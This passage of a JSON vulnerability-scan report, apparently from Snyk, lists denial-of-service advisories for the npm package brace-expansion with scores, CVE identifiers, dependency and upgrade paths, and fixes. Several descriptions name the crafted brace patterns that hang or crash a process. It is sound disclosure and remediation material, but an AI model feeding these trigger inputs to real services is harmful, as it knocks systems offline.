"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
